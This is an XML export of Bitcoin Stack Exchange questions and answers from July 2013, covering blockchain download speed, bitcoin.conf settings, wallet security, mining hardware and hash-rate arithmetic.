  <row Id="12004" PostTypeId="2" ParentId="2914" CreationDate="2013-07-05T20:37:06.577" Score="1" Body="&lt;p&gt;Bitcoin connects to random nodes by default (home connections too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a fst download you need high bandwidth nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the bitocin.config as described there: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12001/what-is-the-fastest-possible-way-to-download-the-blockchain&quot;&gt;What is the fastest possible way to download the blockchain?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-07-05T20:37:06.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12005" PostTypeId="2" ParentId="5471" CreationDate="2013-07-05T20:39:34.667" Score="1" Body="&lt;p&gt;You can choose where to download from!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12001/what-is-the-fastest-possible-way-to-download-the-blockchain&quot;&gt;What is the fastest possible way to download the blockchain?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I described how to tell the bitcoin client to connect to custom nodes.&#xA;This way you can tell bitcoin to connect to the major hub nodes for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has 2 advantages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) full control who to trust&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) Blazing fat bitcoin blockchain download.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-07-05T20:39:34.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12006" PostTypeId="2" ParentId="7750" CreationDate="2013-07-05T22:18:21.953" Score="1" Body="&lt;p&gt;One answer mentioned in the thread is to add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listen=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your bitcoin.conf (which is in {User}\AppData\Roaming\Bitcoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This stops other nodes connecting to you to download the blockchain, hence stopping the large upstream bandwidth consumption&lt;/p&gt;&#xA;" OwnerUserId="5827" LastActivityDate="2013-07-05T22:18:21.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12009" PostTypeId="2" ParentId="9577" CreationDate="2013-07-06T01:52:25.393" Score="0" Body="&lt;p&gt;Your &quot;wallet&quot; lives inside of the blockchain network. You access it by having the public and private keys. Blockchain.info allows you to have an account to store said keys. Anyone who can log in can spend your coin. How the hell can you possibly think not using 2fa is smart? Your assumptions are WAY off. As for &quot;downloading your wallet&quot;, again, it is just keys. The coins live inside the network; the keys access the coins. Login to the online wallet, you have access to EVERYTHING.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that being said, if you use google authenticator and lose your phone.... you better hope you have a backup method. Text message is much safer for 2 factor. Lose your phone? Get a new one and have a message sent to it. With authenticator, you are absolutely screwed (unless you printed out the QR code to pair your phone).&lt;/p&gt;&#xA;" OwnerUserId="5829" LastActivityDate="2013-07-06T01:52:25.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12011" PostTypeId="2" ParentId="11955" CreationDate="2013-07-06T05:41:01.293" Score="0" Body="&lt;p&gt;Wallet can be unlocked by this PHP API function: walletpassphrase (passphrase, timeout) and can locked by this: walletlock(). &lt;/p&gt;&#xA;" OwnerUserId="5671" LastActivityDate="2013-07-06T05:41:01.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12012" PostTypeId="1" CreationDate="2013-07-06T08:07:07.667" Score="7" ViewCount="2847" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=220530.0&quot;&gt;https://bitcointalk.org/index.php?topic=220530.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ANN is not super clear. From what I understand, the supposed key features are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Immunity to 51% attack&lt;/li&gt;&#xA;&lt;li&gt;&quot;protection against hoarding&quot; ??? (someone please explain this)&lt;/li&gt;&#xA;&lt;li&gt;A built-in messaging system&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can someone explain/elaborate?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So whats different&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;eMunie has similarities to current crypto-currencies by way of a&#xA;  public ledger, blocks and transactions.  These however, are where the&#xA;  similarities end and innovation for a better system comes into action.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The network is composed of clients, seeders and hatchers, the&#xA;  functions of which will be explained in this announcement.  Any node&#xA;  can take task in one, or any combination of these roles dependent on&#xA;  the users wishes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The network is resiliant to any type of &quot;51%&quot; attack, as the models&#xA;  required to perform such an attack are not present.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Currency generation within the network is a collaborative effort, and&#xA;  created currency is distributed according to a set of requirements. &#xA;  This distribution should help to ward against hoarding, which can&#xA;  further lead to volatility of the currency.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The network performs extensive verification of itself, more so than&#xA;  the BitCoin algorithms, to ensure that all participants are honest&#xA;  nodes and for additional security overall.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A secure, anonymous peer 2 peer messaging system is built into the&#xA;  network, allowing secure, untraceable communications between 2 or more&#xA;  parties.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastEditorUserId="3120" LastEditDate="2014-02-25T16:00:39.790" LastActivityDate="2014-08-20T08:18:08.157" Title="What are the key features of eMunie, a crypto-currency that's not a Bitcoin fork?" Tags="|currencies|" AnswerCount="2" CommentCount="4" ClosedDate="2015-05-10T16:57:09.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="12013" PostTypeId="1" CreationDate="2013-07-06T09:27:36.257" Score="5" ViewCount="124428" Body="&lt;p&gt;Irrespective of the length of time required to calculate one hash, how many hash operations are required to produce one Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="4138" LastEditorUserId="5406" LastEditDate="2017-01-17T16:46:51.467" LastActivityDate="2017-01-17T16:46:51.467" Title="How many hashes create one Bitcoin?" Tags="|mining-theory|hash|mining-reward|hashpower|sha256|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12014" PostTypeId="1" AcceptedAnswerId="12304" CreationDate="2013-07-06T09:28:55.090" Score="5" ViewCount="931" Body="&lt;p&gt;&lt;a href=&quot;http://www.bitfreak.info/files/pp2p-ccmbc-rev1.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://www.bitfreak.info/files/pp2p-ccmbc-rev1.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This paper will describe the way in which these three mechanisms can&#xA;  work together to form a system which provides a high level of&#xA;  integrity and security, yet is much slimmer than all other purely P2P&#xA;  currencies. It also offers other potential benefits such as faster&#xA;  transactions and lower fees, quicker network synchronization, support&#xA;  for high levels of traffic, more  block space for custom messages, and&#xA;  increased anonymity&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has anyone analyzed the design and found it to be secure? My own primitive analysis didn't find any weaknesses, but I'm no cryptographer or security expert.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="196" LastEditDate="2013-07-21T16:36:51.993" LastActivityDate="2014-05-09T14:48:01.730" Title="Is the &quot;Finite Blockchain&quot; idea secure?" Tags="|blockchain|scalability|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12015" PostTypeId="1" CreationDate="2013-07-06T09:32:52.810" Score="1" ViewCount="13451" Body="&lt;p&gt;Is it possible to run a Bitcoin Miner offline and calculate hashes without being connected to the Internet?&lt;/p&gt;&#xA;" OwnerUserId="4138" LastEditorUserId="5406" LastEditDate="2016-03-17T15:13:25.953" LastActivityDate="2020-03-09T06:51:32.680" Title="Can the Bitcoin Miner run offline?" Tags="|network|mining-theory|offline|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12017" PostTypeId="1" AcceptedAnswerId="12018" CreationDate="2013-07-06T09:45:11.543" Score="2" ViewCount="48" Body="&lt;p&gt;It would be great if it would be possible to spend Bitcoins via &lt;a href=&quot;http://flattr.com/&quot; rel=&quot;nofollow&quot;&gt;Flattr&lt;/a&gt;. Does anybody know if there is something planed?&lt;/p&gt;&#xA;" OwnerUserId="4138" LastEditorUserId="5406" LastEditDate="2017-06-17T23:59:22.713" LastActivityDate="2017-06-17T23:59:22.713" Title="Will Flattr support Bitcoin?" Tags="|services|spending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12018" PostTypeId="2" ParentId="12017" CreationDate="2013-07-06T09:48:34.780" Score="4" Body="&lt;p&gt;Your timing is perfect. &lt;a href=&quot;http://blog.flattr.net/2013/07/adding-bitcoin-support/&quot; rel=&quot;nofollow&quot;&gt;Yesterday Flattr announced&lt;/a&gt; that they were going to implement Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-07-06T09:48:34.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12019" PostTypeId="1" CreationDate="2013-07-06T10:05:40.470" Score="-4" ViewCount="2568" Body="&lt;p&gt;As of a few days ago, Bitcoin.org offers MultiBit instead of Bitcoin-Qt on its website: &lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/choose-your-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not wish to install MultiBit because it requires Sun Java to be preinstalled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we all know, Sun Java is full of security holes/exploits and according to The H Security at &lt;a href=&quot;http://www.h-online.com/security/&quot; rel=&quot;nofollow&quot;&gt;http://www.h-online.com/security/&lt;/a&gt; Oracle has not patched all of them. How can we trust our money with using a software that has full of security issues? (Note: Sun Java is proprietary software and end users are at the mercy of Oracle when it comes to fixing bugs.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope the developers of MultiBit will drop the Java prerequisite in their next software version.&lt;/p&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2014-10-19T11:26:50.803" Title="Is there an alternative to MultiBit?" Tags="|security|multibit|" AnswerCount="3" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="12021" PostTypeId="2" ParentId="12019" CreationDate="2013-07-06T15:42:34.487" Score="3" Body="&lt;p&gt;As per the comments to your main question, it is mainly the Java browser plugin that is the problem. I advise you not to be have that running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Java for a desktop application is more like a supporting library to the applications you are installing. The usage is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a good idea to be security conscious with Bitcoin software - the question to ask is: How can rogue code get to run on my machine ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you download MultiBit from &lt;a href=&quot;https://multibit.org&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org&lt;/a&gt; (and check its SHA256 hash and/or signature) and download the JDK from a reputable source then you know what you are running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that being said, if you still do not want to install Java then I would have a look at Electrum (&lt;a href=&quot;http://electrum.org&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org&lt;/a&gt;) and see that meets your needs.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-07-06T15:42:34.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12022" PostTypeId="1" CreationDate="2013-07-06T17:18:16.900" Score="3" ViewCount="2215" Body="&lt;p&gt;there's something I want to address... I want to get into mining business, but the problem is that BFLabs has that problem of delays and uncertainty for the shipping date. I want to buy 5 rigs of 500 GHash/s each one, but to have nearly $120k USD stuck for how much time who knows...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any alternative to BFLabs? One that that at least have shipping dates estimates. Many thanks to all.&lt;/p&gt;&#xA;" OwnerUserId="4535" LastEditorUserId="5406" LastEditDate="2016-04-17T20:24:39.420" LastActivityDate="2016-04-17T20:24:39.420" Title="Are there alternatives to ButterflyLabs?" Tags="|mining-hardware|asic|butterfly-labs|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12024" PostTypeId="2" ParentId="12015" CreationDate="2013-07-06T19:14:24.320" Score="3" Body="&lt;p&gt;You cannot earn Bitcoins mining unless you either add blocks to the blockchain or cooperate with others to do so. Without being online, you wouldn't know the current head of the blockchain (or any information based on it), so there's no way you could actually do either of those things. You could hash all you want, but you would never mine a block nor contribute towards mining one, so there wouldn't really be any reason to do so.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-07-06T19:14:24.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12025" PostTypeId="1" AcceptedAnswerId="12031" CreationDate="2013-07-06T19:43:10.280" Score="1" ViewCount="12874" Body="&lt;p&gt;Ok, so I can mine BitCoins on my Mac... using my Windows Partition. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like a lot of people I hate Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd use Linux first (I have a WUBi partition), but I'd like a BitCoin miner for Mac that does &lt;strong&gt;not use OpenCL&lt;/strong&gt;! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a Mid 2012 MacBook Pro&lt;/li&gt;&#xA;&lt;li&gt;with integrated Graphics,&lt;/li&gt;&#xA;&lt;li&gt;2.5GHz processor Core i5&lt;/li&gt;&#xA;&lt;li&gt;4GB RAM. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My laptop does not support OpenCL. I know of MacMiner, but I believe that needs OpenCL. Using my CPU to mine (on Windows) I get 1.7MHz, but on the GPU (on Windows) I get 4.7 and sometimes 5MHz. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting an iMac this Christmas, so maybe it'll be a little better for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yeah, how can I start mining BitCoins on my Mac? Any software?&lt;/p&gt;&#xA;" OwnerUserId="5834" LastEditorUserId="5406" LastEditDate="2016-04-24T08:58:36.910" LastActivityDate="2016-04-24T08:58:36.910" Title="Mine BitCoins on a Mac?" Tags="|bitcoin-core|mac|mining-software|" AnswerCount="3" CommentCount="2" ClosedDate="2015-11-07T18:21:11.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="12026" PostTypeId="2" ParentId="12025" CreationDate="2013-07-06T23:02:48.200" Score="2" Body="&lt;p&gt;You can use your CPU to mine in the main bfgminer window that opens when MacMiner starts, or you can use the view menu to get to CPU Miner window, if you're interested in mining LTC or some other scrypt currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://macminer.fabulouspanda.com/&quot; rel=&quot;nofollow&quot;&gt;http://macminer.fabulouspanda.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as an aside, the CPU is actually detected as an OpenCL device, so it may be appropriate to change the question to 'How can I CPU Mine BTC on a Mac?'&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2015-07-30T03:46:13.820" LastActivityDate="2015-07-30T03:46:13.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12027" PostTypeId="2" ParentId="12025" CreationDate="2013-07-07T05:22:33.530" Score="0" Body="&lt;p&gt;Your going to have to spend some money to be profitable. Your graphics card like mine is unable to support 1GH/s so I'd recommend buy an ASIC miner and use a supported system with drivers (like Parallels or your Linux partition) alternatively you could contract your mining. &lt;a href=&quot;http://coinminer.biz/&quot; rel=&quot;nofollow&quot;&gt;http://coinminer.biz/&lt;/a&gt; is the best deal I've found for one year contracts.&lt;/p&gt;&#xA;" OwnerDisplayName="user5808" LastActivityDate="2013-07-07T05:22:33.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12028" PostTypeId="2" ParentId="12022" CreationDate="2013-07-07T05:36:31.070" Score="1" Body="&lt;p&gt;There are USB ASIC mining equipment on ebay from the company &lt;a href=&quot;http://www.ebay.com/itm/ASICMiner-Block-Erupter-USB-ASIC-Bitcoin-Miner-IN-HAND-not-preorder-/300930082422?pt=LH_DefaultDomain_0&amp;amp;hash=item4610d4a676&quot; rel=&quot;nofollow&quot;&gt;ASICMinner called Block Errupter&lt;/a&gt; listed under which is in hand and able to ship imediatly however it is $150 per 333MH/sec which means it would take 2k to reach 5GH/sec. You can order a 5GH/sec BFL for 2.6k and have it shipped today on &lt;a href=&quot;http://www.ebay.com/itm/Bitcoin-Mining-Rig-BFL-5-GH-s-Jalapeno-Raspberry-Pi-w-Minepeon-NOT-PRE-ORDER-/141010807068?pt=LH_DefaultDomain_0&amp;amp;hash=item20d4e6291c&quot; rel=&quot;nofollow&quot;&gt;ebay&lt;/a&gt;. However with the price of Bitcoins droping it would be wise to consider profitability using &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;bitcoinx&lt;/a&gt; before making a purchase. Also you can contract out your mining &lt;a href=&quot;http://coinminer.biz/&quot; rel=&quot;nofollow&quot;&gt;http://coinminer.biz/&lt;/a&gt; offer a reasonable rate for a single year. &lt;/p&gt;&#xA;" OwnerDisplayName="user5808" LastActivityDate="2013-07-07T05:36:31.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12029" PostTypeId="1" AcceptedAnswerId="12042" CreationDate="2013-07-07T08:53:14.783" Score="7" ViewCount="11388" Body="&lt;p&gt;I stumbled on the terms &quot;ASIC&quot; and &quot; ASIC Miner&quot;, what do they mean? Is this something related to special hardware?&lt;/p&gt;&#xA;" OwnerUserId="4138" LastEditorUserId="5406" LastEditDate="2014-08-11T13:40:49.463" LastActivityDate="2018-09-12T20:22:19.337" Title="What does &quot;ASIC&quot; mean?" Tags="|terminology|asic|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12030" PostTypeId="2" ParentId="12013" CreationDate="2013-07-07T09:41:08.080" Score="11" Body="&lt;p&gt;These charts show the approximate network hash rate on the left axis:&#xA;  &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;noreferrer&quot;&gt;http://bitcoin.sipa.be/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know the network adjusts for 25 new bitcoins per 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Together this provides enough info to give an approximate answer to your question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hashes per bitcoin &#xA;= (network hash rate) / (25 BTC per 10 minutes)&#xA;= (180 * Th / s) / (25 * BTC / (600 * s) )&#xA;= 180 * 600 / 25 * Th / s / BTC * s&#xA;= 2,700 Th / BTC&#xA;= 2,700,000,000,000,000 h/BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5837" LastActivityDate="2013-07-07T09:41:08.080" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12031" PostTypeId="2" ParentId="12025" CreationDate="2013-07-07T09:51:29.977" Score="3" Body="&lt;p&gt;Your hardware is useless for mining. You'd spend more money on power than you could ever make back mining on a rig that isn't built for mining.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-07-07T09:51:29.977" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12033" PostTypeId="1" AcceptedAnswerId="12077" CreationDate="2013-07-07T10:55:21.460" Score="6" ViewCount="4320" Body="&lt;p&gt;I've made one purchase with bitpay, it has been received by the merchant who is stating &quot;Payment received. Waiting for more confirmations&quot;. While this is fine, I find it quite odd I didn't manage to find exactly how many confirmations are they going to wait for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it configured merchant-side, or is a constant for all bitpay transactions? If the latter, how many?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really quite puzzled I didn't find anything about that in the bitpay site...&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2014-03-02T04:13:21.907" Title="How many confirmations does bitpay wait?" Tags="|confirmations|bitpay|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12034" PostTypeId="1" CreationDate="2013-07-07T11:20:00.420" Score="1" ViewCount="1410" Body="&lt;p&gt;I am currently using Bitcoin-Qt and have just surfed to Electrum's website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that Electrum only offers an online wallet, not offline. Is that correct?&lt;/p&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2013-07-08T10:44:46.717" Title="Electrum only offers online wallet, does it not?" Tags="|electrum|offline|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12035" PostTypeId="1" CreationDate="2013-07-07T12:21:55.943" Score="4" ViewCount="527" Body="&lt;p&gt;I am building a Bitcoin IPN to poll bitcoind every 5 minutes, find new payments with at least 1 confirm, and notify a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like I am going to have to load them all up with 'listtransactions' every time and parse out new ones.  Inelegant, but I don't see any other option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the next problem is that I need a unique identifier of payments so that I can see if it has already sent a notice.  I have read that txid can change?  Well, that is not a bloody ID then, is it?!  How can I identify a payment?  sha1(address . amount . time) ?  What is the difference between 'time' and 'timereceived'? Are they static?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best discussion I found about this is here but it doesn't look like it went anywhere;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=3092.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=3092.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="5840" LastActivityDate="2013-09-21T21:40:11.640" Title="Building a Bitcoin IPN. Need unique identifier" Tags="|transactions|bitcoind|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12036" PostTypeId="2" ParentId="12019" CreationDate="2013-07-07T14:07:48.243" Score="3" Body="&lt;p&gt;If Java is your only concern, &lt;strong&gt;just use MultiBit. It is safe to install Java. It's a common myth that Java is insecure. It is not. Only the browser plugin of Java is insecure. So, just install Java and then disable its browser plugin.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;a href=&quot;https://www.multibit.org/blog/2013/04/23/java-is-secure.html&quot; rel=&quot;nofollow&quot;&gt;The makers of Multibit confirm this.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT: Also, you say Java is proprietary software. It is. However, Sun made an open source version of it, &lt;a href=&quot;http://openjdk.java.net&quot; rel=&quot;nofollow&quot;&gt;OpenJDK&lt;/a&gt;. It doesn't include the browser plugin.&#xA;In case you don't use Linux or BSD: It's only for Linux and BSD however, but the closed one (that is also availible for Windows and Mac OS X) is largely based on the same source code, according to &lt;a href=&quot;http://openjdk.java.net&quot; rel=&quot;nofollow&quot;&gt;OpenJDK's webpage&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You also say &quot;I hope the developers of MultiBit will drop the Java prerequisite in their next software version.&quot;. I hope you realise that would require a total (and unnecessary) rewrite of MultiBit?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2355" LastEditorUserId="2355" LastEditDate="2013-09-18T15:37:40.740" LastActivityDate="2013-09-18T15:37:40.740" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12037" PostTypeId="1" CreationDate="2013-07-07T14:48:04.530" Score="1" ViewCount="22676" Body="&lt;p&gt;I have a web hosting with unlimited bandwidth and unlimited disk space, Cpanel and much more. Can anyone guide me. How to mine a bitcoin by using my own web hosting?. Then there is any mining software is available to install into my web hosting?. please anyone help me to find out the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I am not consider the hash rate and money. If it is possible I will try otherwise i am not doing anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You! &lt;/p&gt;&#xA;" OwnerUserId="5842" LastActivityDate="2013-07-11T15:17:26.507" Title="How to use my own web hosting server to mine a bitcoin?" Tags="|client|bitcoind|bitcoin-core|multibit|bitcoinj|" AnswerCount="1" CommentCount="2" ClosedDate="2013-07-11T15:19:51.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="12039" PostTypeId="1" AcceptedAnswerId="12188" CreationDate="2013-07-07T17:58:26.110" Score="1" ViewCount="281" Body="&lt;p&gt;Let's say I create a transaction of 0.0005 BTC with a fee of 0.000005 BTC. From looking at the bitcoin source I find that this transaction would be considered non-standard and therefore not accepted and relayed by any node running the satoshi bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any Miners or Mining Pools where I could directly relay this transaction, which would accept it and place it into a block? Would the resulting block be considered standard and accepted in the block chain by other nodes?&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-07-15T13:54:17.943" Title="Are there Miners (or Mining Pools) that accept below standard fee transactions?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12040" PostTypeId="2" ParentId="9709" CreationDate="2013-07-07T21:56:17.210" Score="7" Body="&lt;p&gt;I recently sent 0.03 BTC to Satoshi Dice without a tx fee from a blockchain.info wallet. It stayed for about 3 days without being confirmed and it finally expired. At some moments while the tx was unconfirmed the network propagation was dropping to 2 nodes and then going back up to about 50 nodes. After it expired the sum of the transaction was added back to my balance. Any details of the transaction disappeared from my wallet and from the block explorer... Several hours after the expiry a new transaction has been issued automatically with the same amount to the same Satoshi Dice address.&lt;/p&gt;&#xA;" OwnerUserId="5847" LastEditorUserId="5847" LastEditDate="2013-07-08T09:41:52.473" LastActivityDate="2013-07-08T09:41:52.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12041" PostTypeId="2" ParentId="12037" CreationDate="2013-07-07T23:37:31.433" Score="1" Body="&lt;p&gt;It's as simple as &lt;code&gt;ssh&lt;/code&gt;ing into your server and installing a bitcoin miner such as &lt;a href=&quot;https://github.com/lithander/Minimal-Bitcoin-Miner&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;. A server is just a computer and a bitcoin miner is just a program so as long as you can install programs via a terminal you should have no problem and any old getting stated bitcoin mining guide should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, this is generally not a good idea to do. Bitcoin mining has gotten to the point where to be cost effective you have to use custom built chips. This means that if you mine bitcoins on a regular old web server making use of the CPU or even the GPU, you will loose money on electricity + server costs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you truly do have unlimited free webserver time, then hell, go for it, but understand that this is a net capital loss, your just externalizing the cost to your server provider. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="196" LastEditDate="2013-07-11T15:17:26.507" LastActivityDate="2013-07-11T15:17:26.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12042" PostTypeId="2" ParentId="12029" CreationDate="2013-07-07T23:47:37.463" Score="11" Body="&lt;p&gt;ASIC or &lt;a href=&quot;https://en.wikipedia.org/wiki/Application-specific_integrated_circuit&quot; rel=&quot;noreferrer&quot;&gt;Application-specific integrated circuit&lt;/a&gt; is a type of circuit that has become very popular in the Bitcoin mining community. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;wikipedia defines it as &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;An application-specific integrated circuit, or ASIC /ˈeɪsɪk/, is an integrated circuit (IC) customized for a particular use, rather than intended for general-purpose use.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Traditionally computer chips are made with variability of input in mind, meaning that a given chip should be able to do a wide range of things. Because Bitcoin miners only ever use their chips for Bitcoin mining, you can make chips that are really really fast if you make them solely with that purpose in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how companies like &lt;a href=&quot;http://www.butterflylabs.com/&quot; rel=&quot;noreferrer&quot;&gt;butterfly labs&lt;/a&gt; can get such ridiculous speeds of up to &lt;a href=&quot;https://products.butterflylabs.com/homepage/500-gh-s-bitcoin-miner.html&quot; rel=&quot;noreferrer&quot;&gt;500 GH/s&lt;/a&gt;!&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="575" LastEditDate="2014-08-11T16:09:51.443" LastActivityDate="2014-08-11T16:09:51.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
